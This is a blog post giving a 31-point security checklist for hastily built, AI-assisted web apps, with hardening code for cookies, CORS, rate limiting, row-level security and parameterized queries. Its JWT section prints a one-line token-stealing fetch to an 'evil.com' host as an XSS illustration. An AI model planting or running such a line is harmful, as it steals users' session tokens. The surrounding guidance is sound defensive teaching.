Your Vibe-Coded App Is a Security Disaster Waiting to Happen

And here's the 31-point checklist that can save it.


There's a new kind of developer energy in the air.

You have an idea at 11 PM. You open a chat with an AI coding assistant, describe your vision, and by 2 AM you have a working full-stack app — auth, database, REST API, frontend. You ship it. You share it. People use it.

That's vibe coding. It's fast, it's exciting, and it's genuinely changing how software gets built.

There's just one problem: speed and security almost never coexist by default.

When you're vibing through an app at 2 AM, you're not thinking about HttpOnly cookies, Row-Level Security, or CORS wildcard vulnerabilities. You're thinking about shipping. And the AI helping you? It's optimized to make working code, not hardened code. It'll give you JWTs stored in localStorage, "*" in your CORS config, and database calls that concatenate raw user input — all of it syntactically correct, all of it dangerously broken in production.

This post is a wake-up call. We're going to break down the most critical security blind spots in vibe-coded apps and map them to a concrete, 31-point security checklist you can use to audit and harden any project you've built.


The Anatomy of a Vibe-Coded Vulnerability

Before we dive into the checklist, let's set the scene.

Imagine you've built a SaaS app. Users can sign up, create projects, and manage their data. It works. Your friends think it's cool. You've got 50 sign-ups.

Here's what your stack probably looks like under the hood, if you weren't security-conscious:

  • JWT stored in localStorage (hello, XSS attack surface)
  • /api/admin/users protected only by a frontend conditional render
  • CORS set to * because it was the only way to make the fetch work
  • Database password: password123 or literally root
  • User-facing error messages that say things like MongoServerError: connection to 10.0.0.1:27017 failed
  • No rate limiting on your /login endpoint

Each of these is a real, exploitable vulnerability. Not theoretical. Let's fix them.


Part 1 — Authentication & Authorization: The Foundation You're Getting Wrong

The Frontend Is Not a Security Boundary

This is the #1 mistake in vibe-coded apps. A typical AI-generated auth flow might hide the admin dashboard behind a {user.role === 'admin' && <AdminPanel />} check. That conditional does absolutely nothing to prevent a user from directly calling GET /api/admin/users.

Every private route must be authenticated at the server/API level. The frontend is just a UI — anyone can talk to your API directly using curl or Postman.

// terminal
// ❌ Wrong — frontend-only guard
{user.isAdmin && <DeleteUserButton />}

// ✅ Right — server-side middleware
app.delete('/api/users/:id', requireAuth, requireAdmin, async (req, res) => { ... });

IDOR: The Vulnerability Nobody Talks About

Insecure Direct Object Reference (IDOR) is terrifyingly common. Here's how it happens:

A user is viewing their own profile at /api/profile/42. They change the URL to /api/profile/43. Your server fetches and returns someone else's data because you never checked if req.user.id === 43.

Always enforce ownership checks. If a user is requesting a resource, verify they own it before returning it. This seems obvious, but vibe-coded apps almost universally skip it.

Session Termination Is Not Just Clearing Cookies

When a user logs out, you must invalidate the token on the server, not just delete it client-side. A client-side-only logout means anyone who captured that JWT (from logs, memory, XSS) can still use it until it naturally expires.

Maintain a server-side blocklist for revoked tokens, or use short-lived tokens with a refresh rotation strategy.


Part 2 — Token Management: The JWT Trap

Stop Putting JWTs in localStorage

This is the most common, most cited, and most ignored security mistake in modern web apps.

localStorage is accessible to any JavaScript running on your page. If your app has an XSS vulnerability (and most do — even a single compromised third-party script can cause one), an attacker can steal every token stored there with a one-liner:

// terminal
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt'))

Store JWTs in HttpOnly, SameSite=Strict cookies. These cookies are invisible to JavaScript entirely. The browser sends them automatically on requests but no script can read them.

// terminal
res.cookie('token', jwt, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict',
  maxAge: 15 * 60 * 1000 // 15 minutes
});

Secrets in Your Code Are Time Bombs

How many public GitHub repositories have JWT_SECRET = "mysecret" committed in plain text? Thousands. Tens of thousands.

Your JWT secret needs to be:

  • Long (256-bit minimum)
  • Cryptographically random
  • Injected via environment variables
  • Never, ever in your codebase
// terminal
# Generate a proper secret
node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"

And yes, .env must be in .gitignore. Always. No exceptions.

Token Expiry Is Non-Negotiable

Tokens that never expire are a permanent key to your kingdom. If one leaks, the attacker has access forever.

Set access tokens to expire in 15 minutes. Use a refresh token rotation mechanism — when a refresh token is used, it is invalidated and replaced with a new one. If an old refresh token is detected being used (replay attack), revoke all sessions for that user immediately.


Part 3 — API Security: The Open Door

CORS Wildcards Are Not "Just for Development"

Every vibe-coded app I've seen starts with:

// terminal
app.use(cors()); // TODO: restrict this later

"Later" never comes. The wildcard stays in production.

A wildcard CORS policy means any website on the internet can make authenticated requests to your API from a user's browser. Combined with cookie-based auth, this enables Cross-Site Request Forgery (CSRF) attacks.

Restrict CORS to your exact frontend domain:

// terminal
app.use(cors({
  origin: 'https://yourapp.com',
  credentials: true
}));

Brute Force Is Embarrassingly Easy to Prevent

Your /api/login endpoint with no rate limiting can be hammered at thousands of requests per second by a bot. This isn't an advanced attack — it's a script that runs in minutes.

Implement rate limiting on all auth endpoints:

// terminal
import rateLimit from 'express-rate-limit';

const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 10, // max 10 attempts per window
  message: 'Too many login attempts. Try again later.'
});

app.post('/api/login', authLimiter, loginHandler);

AI API Integrations Are a Billing Exploit Waiting to Happen

If your app calls OpenAI, Anthropic, or any LLM API on behalf of users — and you have no quotas — a single malicious user can trigger thousands of API calls and bill you into bankruptcy overnight.

Implement hard per-user quotas, daily limits, and request timeouts on every AI integration route. This isn't optional — it's existential for indie products.


Part 4 — Secrets Management: Simple Rules, Infinite Impact

The rules here are short, because they're absolute:

  1. No private API keys in frontend code. Ever. All third-party calls go through your backend.
  2. All secrets in .env. Every secret. No exceptions.
  3. .env in .gitignore. Check this right now if you haven't already.
  4. No hardcoded credentials anywhere — not in code, not in comments, not in commit messages, not in documentation, not in AI prompts you paste into chat interfaces.

One leaked AWS key can cost you tens of thousands of dollars. One leaked Stripe secret key can allow fraudulent charges. These are not hypotheticals — they happen every week.


Part 5 — Database Security: The Layer Most Devs Never Think About

Your Database Should Not Be on the Public Internet

If you can run psql -h your-db-host.com -U postgres from your laptop without a VPN or IP whitelist — your database is exposed. Attackers run automated scanners looking for open database ports 24/7.

Restrict database access to your VPC (if on AWS/GCP) or whitelist specific backend IPs only.

Root Credentials Are for Setup, Not Application Use

Your app should connect to the database with a dedicated user with restricted permissions — only the tables and operations it actually needs. If your app only reads and writes user data, it doesn't need DROP TABLE privileges.

This limits the blast radius if your application-level code is ever compromised.

Row-Level Security: The ORM Isn't Enough

If you're using PostgreSQL (or Supabase), Row-Level Security (RLS) is a database-level guarantee that users can only see their own rows — even if your application code has a bug that would otherwise expose someone else's data.

// terminal
-- Enable RLS
ALTER TABLE projects ENABLE ROW LEVEL SECURITY;

-- Policy: users only see their own projects
CREATE POLICY user_isolation ON projects
  USING (user_id = auth.uid());

This is a second layer of defence that many vibe-coded apps completely miss.

Parameterized Queries Are Not Optional

SQL injection has been the #1 web vulnerability for over two decades. It's still everywhere in vibe-coded apps because AI will generate string-concatenated queries if you're not careful:

// terminal
// ❌ Never do this — injectable
const query = `SELECT * FROM users WHERE email = '${email}'`;

// ✅ Always use parameterized queries
const query = 'SELECT * FROM users WHERE email = $1';
const result = await db.query(query, [email]);

A well-configured ORM (Prisma, Drizzle, Sequelize) will do this for you automatically — but you need to use it properly and never drop to raw query strings.


Part 6 — Input Validation: Don't Trust Anything from the Client

Server-Side Validation Is Your Contract with Reality

Client-side validation is UX. Server-side validation is security. Never conflate the two.

Every request body, query parameter, and URL segment must be validated and sanitized on the server using a schema validation library like Zod (TypeScript) or Joi (JavaScript):

// terminal
import { z } from 'zod';

const CreateProjectSchema = z.object({
  name: z.string().min(1).max(100),
  description: z.string().max(500).optional(),
});

// Reject unknown fields
app.post('/api/projects', (req, res) => {
  const result = CreateProjectSchema.strict().safeParse(req.body);
  if (!result.success) return res.status(400).json({ error: result.error });
  // ...
});

File Uploads Are a Full Attack Surface

Don't check just the file extension — a file named malware.jpg is trivially created. Validate the actual MIME type by reading the file's magic bytes, enforce hard size limits, and never serve uploaded files directly from your application server.

Store user files in private cloud storage (S3, GCS) and serve them via short-lived pre-signed URLs that expire after a few minutes. A public storage URL that never expires is a permanent data leak.


Part 7 — Infrastructure & Operations: The Invisible Layer

HTTPS Everywhere, Always

There is no excuse for unencrypted HTTP in 2025. Every route, every API call, every WebSocket connection must use TLS. Use Cloudflare, Nginx, or your cloud provider's load balancer to enforce HTTPS redirects and reject all HTTP traffic.

Error Messages Are Intelligence for Attackers

When your app throws an unhandled exception and returns this to the client:

// terminal
MongoServerError: connect ECONNREFUSED 10.0.12.5:27017 at Connection.onMessage ...

You've just told an attacker your internal network topology, your database technology, and your IP addressing scheme. That's free reconnaissance.

Return generic error messages to clients. Log detailed errors server-side only.

// terminal
// Production error handler
app.use((err, req, res, next) => {
  logger.error(err); // Full details in your logs
  res.status(500).json({ error: 'Something went wrong. Please try again.' });
});

You Need Logs You Can Trust

When something goes wrong — a breach, a billing anomaly, an unexpected data deletion — your audit logs are the difference between understanding what happened and flying blind.

Log every authentication event (login, logout, failed attempts), every destructive action (deletions, role changes), and every payment transaction. These logs must be immutable — stored somewhere your application can write to but not delete from.


The Full 31-Point Security Checklist

Here's the complete checklist, organized by category. Treat every item as a gate — your app doesn't go to production until all boxes are checked.

Authentication & Authorization

  • All private routes authenticated at server/API level
  • Server-side RBAC on all admin and elevated routes
  • IDOR prevention — ownership checks on all data requests
  • Logout invalidates session/token on the server

Token Management & Cryptography

  • JWTs stored in HttpOnly, SameSite=Strict cookies (never localStorage)
  • JWT secrets are cryptographically strong and environment-variable-injected
  • Short token expiry with secure refresh token rotation

API Security & Abuse Prevention

  • CORS restricted to exact known frontend domains (no wildcards)
  • Rate limiting on all auth endpoints
  • Throttling on compute-heavy API routes
  • Hard quotas and timeouts on AI/third-party API integrations

Secrets Management

  • No private API keys or credentials in frontend code
  • All secrets managed via .env files; .env in .gitignore
  • No hardcoded secrets anywhere in the codebase or docs

Database Security

  • Database not exposed to the public internet
  • Strong, randomly generated database passwords
  • Dedicated database user with least-privilege permissions
  • Row-Level Security (RLS) or equivalent tenant isolation
  • All DB interactions via parameterized queries or ORM

Input Validation & Data Integrity

  • Strict server-side schema validation on all inputs (Zod/Joi)
  • File uploads validated by MIME type with hard size limits
  • User files in private cloud storage; served via short-lived pre-signed URLs

Infrastructure, Edge, & Network Security

  • HTTPS enforced everywhere; no unencrypted traffic
  • WAF or edge protection configured (Cloudflare, AWS WAF, etc.)
  • Admin panels and debug endpoints secured or disabled in production

Operations, Logging, & Incident Response

  • Generic error messages to clients; detailed logs server-side only
  • Immutable audit logging for auth events, deletions, and transactions
  • Automated dependency scanning in CI/CD pipeline (npm audit, Dependabot)
  • Documented database backup schedule with tested restoration commands
  • Documented deployment rollback plan

Final Thoughts: Vibe Responsibly

Vibe coding is a superpower. The ability to ship products faster than ever before is genuinely transformative, especially for indie builders and solo founders. I'm not here to tell you to stop using AI to build.

I'm here to tell you that shipping fast and shipping secure are not mutually exclusive — but only if you build security into your process from the start, not as an afterthought.

The 31 requirements in this checklist aren't bureaucratic overhead. Each one exists because someone shipped without it, got burned, and the lesson got passed down. They represent the minimum surface area of defence for any internet-facing application.

Before your next launch, run your codebase against this checklist. You'll probably find at least five things to fix. Fix them. Your users' trust — and your own reputation — depends on it.


Built with obsession by someone who's shipped the insecure version and learned the hard way. If this helped you, share it with a fellow builder who's mid-vibe-session right now.